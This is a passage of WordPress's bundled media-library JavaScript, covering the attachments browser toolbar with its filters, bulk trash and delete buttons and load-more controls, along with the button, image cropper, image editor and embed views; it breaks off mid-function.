4454 if ( ! this.options.sidebar || 'errors' === this.options.sidebar ) {
4455 this.$el.addClass( 'hide-sidebar' );
4456
4457 if ( 'errors' === this.options.sidebar ) {
4458 this.$el.addClass( 'sidebar-for-errors' );
4459 }
4460 }
4461
4462 this.collection.on( 'add remove reset', this.updateContent, this );
4463
4464 if ( ! infiniteScrolling ) {
4465 this.collection.on( 'add remove reset', this.updateLoadMoreView, this );
4466 }
4467
4468 // The non-cached or cached attachments query has completed.
4469 this.collection.on( 'attachments:received', this.announceSearchResults, this );
4470 },
4471
4472 /**
4473 * Updates the `wp.a11y.speak()` ARIA live region with a message to communicate
4474 * the number of search results to screen reader users. This function is
4475 * debounced because the collection updates multiple times.
4476 *
4477 * @since 5.3.0
4478 *
4479 * @return {void}
4480 */
4481 announceSearchResults: _.debounce( function() {
4482 var count,
4483 /* translators: Accessibility text. %d: Number of attachments found in a search. */
4484 mediaFoundHasMoreResultsMessage = __( 'Number of media items displayed: %d. Click load more for more results.' );
4485
4486 if ( infiniteScrolling ) {
4487 /* translators: Accessibility text. %d: Number of attachments found in a search. */
4488 mediaFoundHasMoreResultsMessage = __( 'Number of media items displayed: %d. Scroll the page for more results.' );
4489 }
4490
4491 if ( this.collection.mirroring && this.collection.mirroring.args.s ) {
4492 count = this.collection.length;
4493
4494 if ( 0 === count ) {
4495 wp.a11y.speak( l10n.noMediaTryNewSearch );
4496 return;
4497 }
4498
4499 if ( this.collection.hasMore() ) {
4500 wp.a11y.speak( mediaFoundHasMoreResultsMessage.replace( '%d', count ) );
4501 return;
4502 }
4503
4504 wp.a11y.speak( l10n.mediaFound.replace( '%d', count ) );
4505 }
4506 }, 200 ),
4507
4508 editSelection: function( modal ) {
4509 // When editing a selection, move focus to the "Go to library" button.
4510 modal.$( '.media-button-backToLibrary' ).focus();
4511 },
4512
4513 /**
4514 * @return {wp.media.view.AttachmentsBrowser} Returns itself to allow chaining.
4515 */
4516 dispose: function() {
4517 this.options.selection.off( null, null, this );
4518 View.prototype.dispose.apply( this, arguments );
4519 return this;
4520 },
4521
4522 createToolbar: function() {
4523 var LibraryViewSwitcher, Filters, toolbarOptions,
4524 showFilterByType = -1 !== $.inArray( this.options.filters, [ 'uploaded', 'all' ] );
4525
4526 toolbarOptions = {
4527 controller: this.controller
4528 };
4529
4530 if ( this.controller.isModeActive( 'grid' ) ) {
4531 toolbarOptions.className = 'media-toolbar wp-filter';
4532 }
4533
4534 /**
4535 * @member {wp.media.view.Toolbar}
4536 */
4537 this.toolbar = new wp.media.view.Toolbar( toolbarOptions );
4538
4539 this.views.add( this.toolbar );
4540
4541 this.toolbar.set( 'spinner', new wp.media.view.Spinner({
4542 priority: -20
4543 }) );
4544
4545 if ( showFilterByType || this.options.date ) {
4546 /*
4547 * Create a h2 heading before the select elements that filter attachments.
4548 * This heading is visible in the modal and visually hidden in the grid.
4549 */
4550 this.toolbar.set( 'filters-heading', new wp.media.view.Heading( {
4551 priority: -100,
4552 text: l10n.filterAttachments,
4553 level: 'h2',
4554 className: 'media-attachments-filter-heading screen-reader-text'
4555 }).render() );
4556 }
4557
4558 if ( showFilterByType ) {
4559 // "Filters" is a <select>, a label element needs to be rendered before.
4560 this.toolbar.set( 'filtersLabel', new wp.media.view.Label({
4561 value: l10n.filterByType,
4562 attributes: {
4563 'for': 'media-attachment-filters'
4564 },
4565 priority: -80
4566 }).render() );
4567
4568 if ( 'uploaded' === this.options.filters ) {
4569 this.toolbar.set( 'filters', new wp.media.view.AttachmentFilters.Uploaded({
4570 controller: this.controller,
4571 model: this.collection.props,
4572 priority: -80
4573 }).render() );
4574 } else {
4575 Filters = new wp.media.view.AttachmentFilters.All({
4576 controller: this.controller,
4577 model: this.collection.props,
4578 priority: -80
4579 });
4580
4581 this.toolbar.set( 'filters', Filters.render() );
4582 }
4583 }
4584
4585 /*
4586 * Feels odd to bring the global media library switcher into the Attachment browser view.
4587 * Is this a use case for doAction( 'add:toolbar-items:attachments-browser', this.toolbar );
4588 * which the controller can tap into and add this view?
4589 */
4590 if ( this.controller.isModeActive( 'grid' ) ) {
4591 LibraryViewSwitcher = View.extend({
4592 className: 'view-switch media-grid-view-switch',
4593 template: wp.template( 'media-library-view-switcher')
4594 });
4595
4596 this.toolbar.set( 'libraryViewSwitcher', new LibraryViewSwitcher({
4597 controller: this.controller,
4598 priority: -90
4599 }).render() );
4600
4601 // DateFilter is a <select>, a label element needs to be rendered before.
4602 this.toolbar.set( 'dateFilter', new wp.media.view.Label({
4603 value: l10n.filterByDate,
4604 attributes: {
4605 'for': 'media-attachment-date-filters'
4606 },
4607 priority: -75
4608 }).render() );
4609 this.toolbar.set( 'dateFilter', new wp.media.view.DateFilter({
4610 controller: this.controller,
4611 model: this.collection.props,
4612 priority: -75,
4613 }).render() );
4614
4615 // BulkSelection is a <div> with subviews, including screen reader text.
4616 this.toolbar.set( 'selectModeToggleButton', new wp.media.view.SelectModeToggleButton({
4617 text: l10n.bulkSelect,
4618 controller: this.controller,
4619 priority: -70
4620 }).render() );
4621
4622 this.toolbar.set( 'deleteSelectedButton', new wp.media.view.DeleteSelectedButton({
4623 filters: Filters,
4624 style: 'primary',
4625 disabled: true,
4626 text: mediaTrash ? l10n.trashSelected : l10n.deletePermanently,
4627 controller: this.controller,
4628 priority: -80,
4629 click: function() {
4630 var changed = [], removed = [],
4631 selection = this.controller.state().get( 'selection' ),
4632 library = this.controller.state().get( 'library' );
4633
4634 if ( ! selection.length ) {
4635 return;
4636 }
4637
4638 if ( ! mediaTrash && ! window.confirm( l10n.warnBulkDelete ) ) {
4639 return;
4640 }
4641
4642 if ( mediaTrash &&
4643 'trash' !== selection.at( 0 ).get( 'status' ) &&
4644 ! window.confirm( l10n.warnBulkTrash ) ) {
4645
4646 return;
4647 }
4648
4649 selection.each( function( model ) {
4650 if ( ! model.get( 'nonces' )['delete'] ) {
4651 removed.push( model );
4652 return;
4653 }
4654
4655 if ( mediaTrash && 'trash' === model.get( 'status' ) ) {
4656 model.set( 'status', 'inherit' );
4657 changed.push( model.save() );
4658 removed.push( model );
4659 } else if ( mediaTrash ) {
4660 model.set( 'status', 'trash' );
4661 changed.push( model.save() );
4662 removed.push( model );
4663 } else {
4664 model.destroy({wait: true});
4665 }
4666 } );
4667
4668 if ( changed.length ) {
4669 selection.remove( removed );
4670
4671 $.when.apply( null, changed ).then( _.bind( function() {
4672 library._requery( true );
4673 this.controller.trigger( 'selection:action:done' );
4674 }, this ) );
4675 } else {
4676 this.controller.trigger( 'selection:action:done' );
4677 }
4678 }
4679 }).render() );
4680
4681 if ( mediaTrash ) {
4682 this.toolbar.set( 'deleteSelectedPermanentlyButton', new wp.media.view.DeleteSelectedPermanentlyButton({
4683 filters: Filters,
4684 style: 'link button-link-delete',
4685 disabled: true,
4686 text: l10n.deletePermanently,
4687 controller: this.controller,
4688 priority: -55,
4689 click: function() {
4690 var removed = [],
4691 destroy = [],
4692 selection = this.controller.state().get( 'selection' );
4693
4694 if ( ! selection.length || ! window.confirm( l10n.warnBulkDelete ) ) {
4695 return;
4696 }
4697
4698 selection.each( function( model ) {
4699 if ( ! model.get( 'nonces' )['delete'] ) {
4700 removed.push( model );
4701 return;
4702 }
4703
4704 destroy.push( model );
4705 } );
4706
4707 if ( removed.length ) {
4708 selection.remove( removed );
4709 }
4710
4711 if ( destroy.length ) {
4712 $.when.apply( null, destroy.map( function (item) {
4713 return item.destroy();
4714 } ) ).then( _.bind( function() {
4715 this.controller.trigger( 'selection:action:done' );
4716 }, this ) );
4717 }
4718 }
4719 }).render() );
4720 }
4721
4722 } else if ( this.options.date ) {
4723 // DateFilter is a <select>, a label element needs to be rendered before.
4724 this.toolbar.set( 'dateFilterLabel', new wp.media.view.Label({
4725 value: l10n.filterByDate,
4726 attributes: {
4727 'for': 'media-attachment-date-filters'
4728 },
4729 priority: -75
4730 }).render() );
4731 this.toolbar.set( 'dateFilter', new wp.media.view.DateFilter({
4732 controller: this.controller,
4733 model: this.collection.props,
4734 priority: -75
4735 }).render() );
4736 }
4737
4738 if ( this.options.search ) {
4739 // Search is an input, a label element needs to be rendered before.
4740 this.toolbar.set( 'searchLabel', new wp.media.view.Label({
4741 value: l10n.searchLabel,
4742 className: 'media-search-input-label',
4743 attributes: {
4744 'for': 'media-search-input'
4745 },
4746 priority: 60
4747 }).render() );
4748 this.toolbar.set( 'search', new wp.media.view.Search({
4749 controller: this.controller,
4750 model: this.collection.props,
4751 priority: 60
4752 }).render() );
4753 }
4754
4755 if ( this.options.dragInfo ) {
4756 this.toolbar.set( 'dragInfo', new View({
4757 el: $( '<div class="instructions">' + l10n.dragInfo + '</div>' )[0],
4758 priority: -40
4759 }) );
4760 }
4761
4762 if ( this.options.suggestedWidth && this.options.suggestedHeight ) {
4763 this.toolbar.set( 'suggestedDimensions', new View({
4764 el: $( '<div class="instructions">' + l10n.suggestedDimensions.replace( '%1$s', this.options.suggestedWidth ).replace( '%2$s', this.options.suggestedHeight ) + '</div>' )[0],
4765 priority: -40
4766 }) );
4767 }
4768 },
4769
4770 updateContent: function() {
4771 var view = this,
4772 noItemsView;
4773
4774 if ( this.controller.isModeActive( 'grid' ) ) {
4775 // Usually the media library.
4776 noItemsView = view.attachmentsNoResults;
4777 } else {
4778 // Usually the media modal.
4779 noItemsView = view.uploader;
4780 }
4781
4782 if ( ! this.collection.length ) {
4783 this.toolbar.get( 'spinner' ).show();
4784 this.toolbar.$( '.media-bg-overlay' ).show();
4785 this.dfd = this.collection.more().done( function() {
4786 if ( ! view.collection.length ) {
4787 noItemsView.$el.removeClass( 'hidden' );
4788 } else {
4789 noItemsView.$el.addClass( 'hidden' );
4790 }
4791 view.toolbar.get( 'spinner' ).hide();
4792 view.toolbar.$( '.media-bg-overlay' ).hide();
4793 } );
4794 } else {
4795 noItemsView.$el.addClass( 'hidden' );
4796 view.toolbar.get( 'spinner' ).hide();
4797 this.toolbar.$( '.media-bg-overlay' ).hide();
4798 }
4799 },
4800
4801 createUploader: function() {
4802 this.uploader = new wp.media.view.UploaderInline({
4803 controller: this.controller,
4804 status: false,
4805 message: this.controller.isModeActive( 'grid' ) ? '' : l10n.noItemsFound,
4806 canClose: this.controller.isModeActive( 'grid' )
4807 });
4808
4809 this.uploader.$el.addClass( 'hidden' );
4810 this.views.add( this.uploader );
4811 },
4812
4813 toggleUploader: function() {
4814 if ( this.uploader.$el.hasClass( 'hidden' ) ) {
4815 this.uploader.show();
4816 } else {
4817 this.uploader.hide();
4818 }
4819 },
4820
4821 /**
4822 * Creates the Attachments wrapper view.
4823 *
4824 * @since 5.8.0
4825 *
4826 * @return {void}
4827 */
4828 createAttachmentsWrapperView: function() {
4829 this.attachmentsWrapper = new wp.media.View( {
4830 className: 'attachments-wrapper'
4831 } );
4832
4833 // Create the list of attachments.
4834 this.views.add( this.attachmentsWrapper );
4835 this.createAttachments();
4836 },
4837
4838 createAttachments: function() {
4839 this.attachments = new wp.media.view.Attachments({
4840 controller: this.controller,
4841 collection: this.collection,
4842 selection: this.options.selection,
4843 model: this.model,
4844 sortable: this.options.sortable,
4845 scrollElement: this.options.scrollElement,
4846 idealColumnWidth: this.options.idealColumnWidth,
4847
4848 // The single `Attachment` view to be used in the `Attachments` view.
4849 AttachmentView: this.options.AttachmentView
4850 });
4851
4852 // Add keydown listener to the instance of the Attachments view.
4853 this.controller.on( 'attachment:keydown:arrow', _.bind( this.attachments.arrowEvent, this.attachments ) );
4854 this.controller.on( 'attachment:details:shift-tab', _.bind( this.attachments.restoreFocus, this.attachments ) );
4855
4856 this.views.add( '.attachments-wrapper', this.attachments );
4857
4858 if ( this.controller.isModeActive( 'grid' ) ) {
4859 this.attachmentsNoResults = new View({
4860 controller: this.controller,
4861 tagName: 'p'
4862 });
4863
4864 this.attachmentsNoResults.$el.addClass( 'hidden no-media' );
4865 this.attachmentsNoResults.$el.html( l10n.noMedia );
4866
4867 this.views.add( this.attachmentsNoResults );
4868 }
4869 },
4870
4871 /**
4872 * Creates the load more button and attachments counter view.
4873 *
4874 * @since 5.8.0
4875 *
4876 * @return {void}
4877 */
4878 createLoadMoreView: function() {
4879 var view = this;
4880
4881 this.loadMoreWrapper = new View( {
4882 controller: this.controller,
4883 className: 'load-more-wrapper'
4884 } );
4885
4886 this.loadMoreCount = new View( {
4887 controller: this.controller,
4888 tagName: 'p',
4889 className: 'load-more-count hidden'
4890 } );
4891
4892 this.loadMoreButton = new wp.media.view.Button( {
4893 text: __( 'Load more' ),
4894 className: 'load-more hidden',
4895 style: 'primary',
4896 size: '',
4897 click: function() {
4898 view.loadMoreAttachments();
4899 }
4900 } );
4901
4902 this.loadMoreSpinner = new wp.media.view.Spinner();
4903
4904 this.loadMoreJumpToFirst = new wp.media.view.Button( {
4905 text: __( 'Jump to first loaded item' ),
4906 className: 'load-more-jump hidden',
4907 size: '',
4908 click: function() {
4909 view.jumpToFirstAddedItem();
4910 }
4911 } );
4912
4913 this.views.add( '.attachments-wrapper', this.loadMoreWrapper );
4914 this.views.add( '.load-more-wrapper', this.loadMoreSpinner );
4915 this.views.add( '.load-more-wrapper', this.loadMoreCount );
4916 this.views.add( '.load-more-wrapper', this.loadMoreButton );
4917 this.views.add( '.load-more-wrapper', this.loadMoreJumpToFirst );
4918 },
4919
4920 /**
4921 * Updates the Load More view. This function is debounced because the
4922 * collection updates multiple times at the add, remove, and reset events.
4923 * We need it to run only once, after all attachments are added or removed.
4924 *
4925 * @since 5.8.0
4926 *
4927 * @return {void}
4928 */
4929 updateLoadMoreView: _.debounce( function() {
4930 // Ensure the load more view elements are initially hidden at each update.
4931 this.loadMoreButton.$el.addClass( 'hidden' );
4932 this.loadMoreCount.$el.addClass( 'hidden' );
4933 this.loadMoreJumpToFirst.$el.addClass( 'hidden' ).prop( 'disabled', true );
4934
4935 if ( ! this.collection.getTotalAttachments() ) {
4936 return;
4937 }
4938
4939 if ( this.collection.length ) {
4940 this.loadMoreCount.$el.text(
4941 /* translators: 1: Number of displayed attachments, 2: Number of total attachments. */
4942 sprintf(
4943 __( 'Showing %1$s of %2$s media items' ),
4944 this.collection.length,
4945 this.collection.getTotalAttachments()
4946 )
4947 );
4948
4949 this.loadMoreCount.$el.removeClass( 'hidden' );
4950 }
4951
4952 /*
4953 * Notice that while the collection updates multiple times hasMore() may
4954 * return true when it's actually not true.
4955 */
4956 if ( this.collection.hasMore() ) {
4957 this.loadMoreButton.$el.removeClass( 'hidden' );
4958 }
4959
4960 // Find the media item to move focus to. The jQuery `eq()` index is zero-based.
4961 this.firstAddedMediaItem = this.$el.find( '.attachment' ).eq( this.firstAddedMediaItemIndex );
4962
4963 // If there's a media item to move focus to, make the "Jump to" button available.
4964 if ( this.firstAddedMediaItem.length ) {
4965 this.firstAddedMediaItem.addClass( 'new-media' );
4966 this.loadMoreJumpToFirst.$el.removeClass( 'hidden' ).prop( 'disabled', false );
4967 }
4968
4969 // If there are new items added, but no more to be added, move focus to Jump button.
4970 if ( this.firstAddedMediaItem.length && ! this.collection.hasMore() ) {
4971 this.loadMoreJumpToFirst.$el.trigger( 'focus' );
4972 }
4973 }, 10 ),
4974
4975 /**
4976 * Loads more attachments.
4977 *
4978 * @since 5.8.0
4979 *
4980 * @return {void}
4981 */
4982 loadMoreAttachments: function() {
4983 var view = this;
4984
4985 if ( ! this.collection.hasMore() ) {
4986 return;
4987 }
4988
4989 /*
4990 * The collection index is zero-based while the length counts the actual
4991 * amount of items. Thus the length is equivalent to the position of the
4992 * first added item.
4993 */
4994 this.firstAddedMediaItemIndex = this.collection.length;
4995
4996 this.$el.addClass( 'more-loaded' );
4997 this.collection.each( function( attachment ) {
4998 var attach_id = attachment.attributes.id;
4999 $( '[data-id="' + attach_id + '"]' ).addClass( 'found-media' );
5000 });
5001
5002 view.loadMoreSpinner.show();
5003 this.collection.once( 'attachments:received', function() {
5004 view.loadMoreSpinner.hide();
5005 } );
5006 this.collection.more();
5007 },
5008
5009 /**
5010 * Moves focus to the first new added item. .
5011 *
5012 * @since 5.8.0
5013 *
5014 * @return {void}
5015 */
5016 jumpToFirstAddedItem: function() {
5017 // Set focus on first added item.
5018 this.firstAddedMediaItem.focus();
5019 },
5020
5021 createAttachmentsHeading: function() {
5022 this.attachmentsHeading = new wp.media.view.Heading( {
5023 text: l10n.attachmentsList,
5024 level: 'h2',
5025 className: 'media-views-heading screen-reader-text'
5026 } );
5027 this.views.add( this.attachmentsHeading );
5028 },
5029
5030 createSidebar: function() {
5031 var options = this.options,
5032 selection = options.selection,
5033 sidebar = this.sidebar = new wp.media.view.Sidebar({
5034 controller: this.controller
5035 });
5036
5037 this.views.add( sidebar );
5038
5039 if ( this.controller.uploader ) {
5040 sidebar.set( 'uploads', new wp.media.view.UploaderStatus({
5041 controller: this.controller,
5042 priority: 40
5043 }) );
5044 }
5045
5046 selection.on( 'selection:single', this.createSingle, this );
5047 selection.on( 'selection:unsingle', this.disposeSingle, this );
5048
5049 if ( selection.single() ) {
5050 this.createSingle();
5051 }
5052 },
5053
5054 createSingle: function() {
5055 var sidebar = this.sidebar,
5056 single = this.options.selection.single();
5057
5058 sidebar.set( 'details', new wp.media.view.Attachment.Details({
5059 controller: this.controller,
5060 model: single,
5061 priority: 80
5062 }) );
5063
5064 sidebar.set( 'compat', new wp.media.view.AttachmentCompat({
5065 controller: this.controller,
5066 model: single,
5067 priority: 120
5068 }) );
5069
5070 if ( this.options.display ) {
5071 sidebar.set( 'display', new wp.media.view.Settings.AttachmentDisplay({
5072 controller: this.controller,
5073 model: this.model.display( single ),
5074 attachment: single,
5075 priority: 160,
5076 userSettings: this.model.get('displayUserSettings')
5077 }) );
5078 }
5079
5080 // Show the sidebar on mobile.
5081 if ( this.model.id === 'insert' ) {
5082 sidebar.$el.addClass( 'visible' );
5083 }
5084 },
5085
5086 disposeSingle: function() {
5087 var sidebar = this.sidebar;
5088 sidebar.unset('details');
5089 sidebar.unset('compat');
5090 sidebar.unset('display');
5091 // Hide the sidebar on mobile.
5092 sidebar.$el.removeClass( 'visible' );
5093 }
5094});
5095
5096module.exports = AttachmentsBrowser;
5097
5098
5099/***/ },
5100
5101/***/ 3479
5102(module) {
5103
5104var Attachments = wp.media.view.Attachments,
5105 Selection;
5106
5107/**
5108 * wp.media.view.Attachments.Selection
5109 *
5110 * @memberOf wp.media.view.Attachments
5111 *
5112 * @class
5113 * @augments wp.media.view.Attachments
5114 * @augments wp.media.View
5115 * @augments wp.Backbone.View
5116 * @augments Backbone.View
5117 */
5118Selection = Attachments.extend(/** @lends wp.media.view.Attachments.Selection.prototype */{
5119 events: {},
5120 initialize: function() {
5121 _.defaults( this.options, {
5122 sortable: false,
5123 resize: false,
5124
5125 // The single `Attachment` view to be used in the `Attachments` view.
5126 AttachmentView: wp.media.view.Attachment.Selection
5127 });
5128 // Call 'initialize' directly on the parent class.
5129 return Attachments.prototype.initialize.apply( this, arguments );
5130 }
5131});
5132
5133module.exports = Selection;
5134
5135
5136/***/ },
5137
5138/***/ 168
5139(module) {
5140
5141var $ = Backbone.$,
5142 ButtonGroup;
5143
5144/**
5145 * wp.media.view.ButtonGroup
5146 *
5147 * @memberOf wp.media.view
5148 *
5149 * @class
5150 * @augments wp.media.View
5151 * @augments wp.Backbone.View
5152 * @augments Backbone.View
5153 */
5154ButtonGroup = wp.media.View.extend(/** @lends wp.media.view.ButtonGroup.prototype */{
5155 tagName: 'div',
5156 className: 'button-group button-large media-button-group',
5157
5158 initialize: function() {
5159 /**
5160 * @member {wp.media.view.Button[]}
5161 */
5162 this.buttons = _.map( this.options.buttons || [], function( button ) {
5163 if ( button instanceof Backbone.View ) {
5164 return button;
5165 } else {
5166 return new wp.media.view.Button( button ).render();
5167 }
5168 });
5169
5170 delete this.options.buttons;
5171
5172 if ( this.options.classes ) {
5173 this.$el.addClass( this.options.classes );
5174 }
5175 },
5176
5177 /**
5178 * @return {wp.media.view.ButtonGroup}
5179 */
5180 render: function() {
5181 this.$el.html( $( _.pluck( this.buttons, 'el' ) ).detach() );
5182 return this;
5183 }
5184});
5185
5186module.exports = ButtonGroup;
5187
5188
5189/***/ },
5190
5191/***/ 846
5192(module) {
5193
5194/**
5195 * wp.media.view.Button
5196 *
5197 * @memberOf wp.media.view
5198 *
5199 * @class
5200 * @augments wp.media.View
5201 * @augments wp.Backbone.View
5202 * @augments Backbone.View
5203 */
5204var Button = wp.media.View.extend(/** @lends wp.media.view.Button.prototype */{
5205 tagName: 'button',
5206 className: 'media-button',
5207 attributes: { type: 'button' },
5208
5209 events: {
5210 'click': 'click'
5211 },
5212
5213 defaults: {
5214 text: '',
5215 style: '',
5216 size: 'large',
5217 disabled: false
5218 },
5219
5220 initialize: function() {
5221 /**
5222 * Create a model with the provided `defaults`.
5223 *
5224 * @member {Backbone.Model}
5225 */
5226 this.model = new Backbone.Model( this.defaults );
5227
5228 // If any of the `options` have a key from `defaults`, apply its
5229 // value to the `model` and remove it from the `options` object.
5230 _.each( this.defaults, function( def, key ) {
5231 var value = this.options[ key ];
5232 if ( _.isUndefined( value ) ) {
5233 return;
5234 }
5235
5236 this.model.set( key, value );
5237 delete this.options[ key ];
5238 }, this );
5239
5240 this.listenTo( this.model, 'change', this.render );
5241 },
5242 /**
5243 * @return {wp.media.view.Button} Returns itself to allow chaining.
5244 */
5245 render: function() {
5246 var classes = [ 'button', this.className ],
5247 model = this.model.toJSON();
5248
5249 if ( model.style ) {
5250 classes.push( 'button-' + model.style );
5251 }
5252
5253 if ( model.size ) {
5254 classes.push( 'button-' + model.size );
5255 }
5256
5257 classes = _.uniq( classes.concat( this.options.classes ) );
5258 this.el.className = classes.join(' ');
5259
5260 this.$el.attr( 'disabled', model.disabled );
5261 this.$el.text( this.model.get('text') );
5262
5263 return this;
5264 },
5265 /**
5266 * @param {Object} event
5267 */
5268 click: function( event ) {
5269 if ( '#' === this.attributes.href ) {
5270 event.preventDefault();
5271 }
5272
5273 if ( this.options.click && ! this.model.get('disabled') ) {
5274 this.options.click.apply( this, arguments );
5275 }
5276 }
5277});
5278
5279module.exports = Button;
5280
5281
5282/***/ },
5283
5284/***/ 7637
5285(module) {
5286
5287var View = wp.media.View,
5288 UploaderStatus = wp.media.view.UploaderStatus,
5289 l10n = wp.media.view.l10n,
5290 $ = jQuery,
5291 Cropper;
5292
5293/**
5294 * wp.media.view.Cropper
5295 *
5296 * Uses the imgAreaSelect plugin to allow a user to crop an image.
5297 *
5298 * Takes imgAreaSelect options from
5299 * wp.customize.HeaderControl.calculateImageSelectOptions via
5300 * wp.customize.HeaderControl.openMM.
5301 *
5302 * @memberOf wp.media.view
5303 *
5304 * @class
5305 * @augments wp.media.View
5306 * @augments wp.Backbone.View
5307 * @augments Backbone.View
5308 */
5309Cropper = View.extend(/** @lends wp.media.view.Cropper.prototype */{
5310 className: 'crop-content',
5311 template: wp.template('crop-content'),
5312 initialize: function() {
5313 _.bindAll(this, 'onImageLoad');
5314 },
5315 ready: function() {
5316 this.controller.frame.on('content:error:crop', this.onError, this);
5317 this.$image = this.$el.find('.crop-image');
5318 this.$image.on('load', this.onImageLoad);
5319 $(window).on('resize.cropper', _.debounce(this.onImageLoad, 250));
5320 },
5321 remove: function() {
5322 $(window).off('resize.cropper');
5323 this.$el.remove();
5324 this.$el.off();
5325 View.prototype.remove.apply(this, arguments);
5326 },
5327 prepare: function() {
5328 return {
5329 title: l10n.cropYourImage,
5330 url: this.options.attachment.get('url')
5331 };
5332 },
5333 onImageLoad: function() {
5334 var imgOptions = this.controller.get('imgSelectOptions'),
5335 imgSelect;
5336
5337 if (typeof imgOptions === 'function') {
5338 imgOptions = imgOptions(this.options.attachment, this.controller);
5339 }
5340
5341 imgOptions = _.extend(imgOptions, {
5342 parent: this.$el,
5343 onInit: function() {
5344
5345 // Store the set ratio.
5346 var setRatio = imgSelect.getOptions().aspectRatio;
5347
5348 // On mousedown, if no ratio is set and the Shift key is down, use a 1:1 ratio.
5349 this.parent.children().on( 'mousedown touchstart', function( e ) {
5350
5351 // If no ratio is set and the shift key is down, use a 1:1 ratio.
5352 if ( ! setRatio && e.shiftKey ) {
5353 imgSelect.setOptions( {
5354 aspectRatio: '1:1'
5355 } );
5356 }
5357 } );
5358
5359 this.parent.children().on( 'mouseup touchend', function() {
5360
5361 // Restore the set ratio.
5362 imgSelect.setOptions( {
5363 aspectRatio: setRatio ? setRatio : false
5364 } );
5365 } );
5366 }
5367 } );
5368 this.trigger('image-loaded');
5369 imgSelect = this.controller.imgSelect = this.$image.imgAreaSelect(imgOptions);
5370 },
5371 onError: function() {
5372 var filename = this.options.attachment.get('filename');
5373
5374 this.views.add( '.upload-errors', new wp.media.view.UploaderStatusError({
5375 filename: UploaderStatus.prototype.filename(filename),
5376 message: window._wpMediaViewsL10n.cropError
5377 }), { at: 0 });
5378 }
5379});
5380
5381module.exports = Cropper;
5382
5383
5384/***/ },
5385
5386/***/ 6126
5387(module) {
5388
5389var View = wp.media.View,
5390 EditImage;
5391
5392/**
5393 * wp.media.view.EditImage
5394 *
5395 * @memberOf wp.media.view
5396 *
5397 * @class
5398 * @augments wp.media.View
5399 * @augments wp.Backbone.View
5400 * @augments Backbone.View
5401 */
5402EditImage = View.extend(/** @lends wp.media.view.EditImage.prototype */{
5403 className: 'image-editor',
5404 template: wp.template('image-editor'),
5405
5406 initialize: function( options ) {
5407 this.editor = window.imageEdit;
5408 this.controller = options.controller;
5409 View.prototype.initialize.apply( this, arguments );
5410 },
5411
5412 prepare: function() {
5413 return this.model.toJSON();
5414 },
5415
5416 loadEditor: function() {
5417 this.editor.open( this.model.get( 'id' ), this.model.get( 'nonces' ).edit, this );
5418 },
5419
5420 back: function() {
5421 var lastState = this.controller.lastState();
5422 this.controller.setState( lastState );
5423 },
5424
5425 refresh: function() {
5426 this.model.fetch();
5427 },
5428
5429 save: function() {
5430 var lastState = this.controller.lastState();
5431
5432 this.model.fetch().done( _.bind( function() {
5433 this.controller.setState( lastState );
5434 }, this ) );
5435 }
5436
5437});
5438
5439module.exports = EditImage;
5440
5441
5442/***/ },
5443
5444/***/ 5741
5445(module) {
5446
5447/**
5448 * wp.media.view.Embed
5449 *
5450 * @memberOf wp.media.view
5451 *
5452 * @class
5453 * @augments wp.media.View
5454 * @augments wp.Backbone.View
5455 * @augments Backbone.View
5456 */
5457var Embed = wp.media.View.extend(/** @lends wp.media.view.Ember.prototype */{
5458 className: 'media-embed',
5459
5460 initialize: function() {
5461 /**
5462 * @member {wp.media.view.EmbedUrl}
5463 */
5464 this.url = new wp.media.view.EmbedUrl({
5465 controller: this.controller,
5466 model: this.model.props
5467 }).render();
5468
5469 this.views.set([ this.url ]);
5470 this.refresh();
5471 this.listenTo( this.model, 'change:type', this.refresh );
5472 this.listenTo( this.model, 'change:loading', this.loading );
5473 },
5474
5475 /**
5476 * @param {Object} view
5477 */
5478 settings: function( view ) {
5479 if ( this._settings ) {
5480 this._settings.remove();
5481 }
5482 this._settings = view;
5483 this.views.add( view );
5484 },
5485
5486 refresh: function() {
5487 var type = this.model.get('type'),
5488 constructor;
5489
5490 if ( 'image' === type ) {
5491 constructor = wp.media.view.EmbedImage;
5492 } else if ( 'link' === type ) {
5493 constructor = wp.media.view.EmbedLink;
5494 } else {
5495 return;
5496 }
5497
5498 this.settings( new constructor({
5499 controller: this.controller,
5500 model: this.model.props,
5501 priority: 40
5502 }) );
5503 },
5504
5505 loading: function() {
5506 this.$el.toggleClass( 'embed-loading', this.model.get('loading') );
5507 }
5508});
5509
5510module.exports = Embed;
5511
5512
5513/***/ },
5514
5515/***/ 2395
5516(module) {
5517
5518var AttachmentDisplay = wp.media.view.Settings.AttachmentDisplay,
5519 EmbedImage;
5520
5521/**
5522 * wp.media.view.EmbedImage
5523 *
5524 * @memberOf wp.media.view
5525 *
5526 * @class
5527 * @augments wp.media.view.Settings.AttachmentDisplay
5528 * @augments wp.media.view.Settings
5529 * @augments wp.media.View
5530 * @augments wp.Backbone.View
5531 * @augments Backbone.View
5532 */
5533EmbedImage = AttachmentDisplay.extend(/** @lends wp.media.view.EmbedImage.prototype */{
5534 className: 'embed-media-settings',
5535 template: wp.template('embed-image-settings'),
5536
5537 initialize: function() {
5538 /**
5539 * Call `initialize` directly on parent class with passed arguments
5540 */
5541 AttachmentDisplay.prototype.initialize.apply( this, arguments );
5542 this.listenTo( this.model, 'change:url', this.updateImage );
5543 },
5544
5545 updateImage: function() {
5546 this.$('img').attr( 'src', this.model.get('url') );
5547 }
5548});
5549
5550module.exports = EmbedImage;
5551
5552
5553/***/ },
5554
5555/***/ 8232
5556(module) {
5557
5558var $ = jQuery,
5559 EmbedLink;
5560
5561/**
5562 * wp.media.view.EmbedLink
5563 *
5564 * @memberOf wp.media.view
5565 *
5566 * @class
5567 * @augments wp.media.view.Settings
5568 * @augments wp.media.View
5569 * @augments wp.Backbone.View
5570 * @augments Backbone.View
5571 */
5572EmbedLink = wp.media.view.Settings.extend(/** @lends wp.media.view.EmbedLink.prototype */{
5573 className: 'embed-link-settings',
5574 template: wp.template('embed-link-settings'),
5575
5576 initialize: function() {
5577 this.listenTo( this.model, 'change:url', this.updateoEmbed );
5578 },
5579
5580 updateoEmbed: _.debounce( function() {
5581 var url = this.model.get( 'url' );
5582
5583 // Clear out previous results.
5584 this.$('.embed-container').hide().find('.embed-preview').empty();
5585 this.$( '.setting' ).hide();
5586
5587 // Only proceed with embed if the field contains more than 11 characters.
5588 // Example: http://a.io is 11 chars
5589 if ( url && ( url.length < 11 || ! url.match(/^http(s)?:\/\//) ) ) {
5590 return;
5591 }
5592
5593 this.fetch();
5594 }, wp.media.controller.Embed.sensitivity ),
5595
5596 fetch: function() {
5597 var url = this.model.get( 'url' ), re, youTubeEmbedMatch;
5598
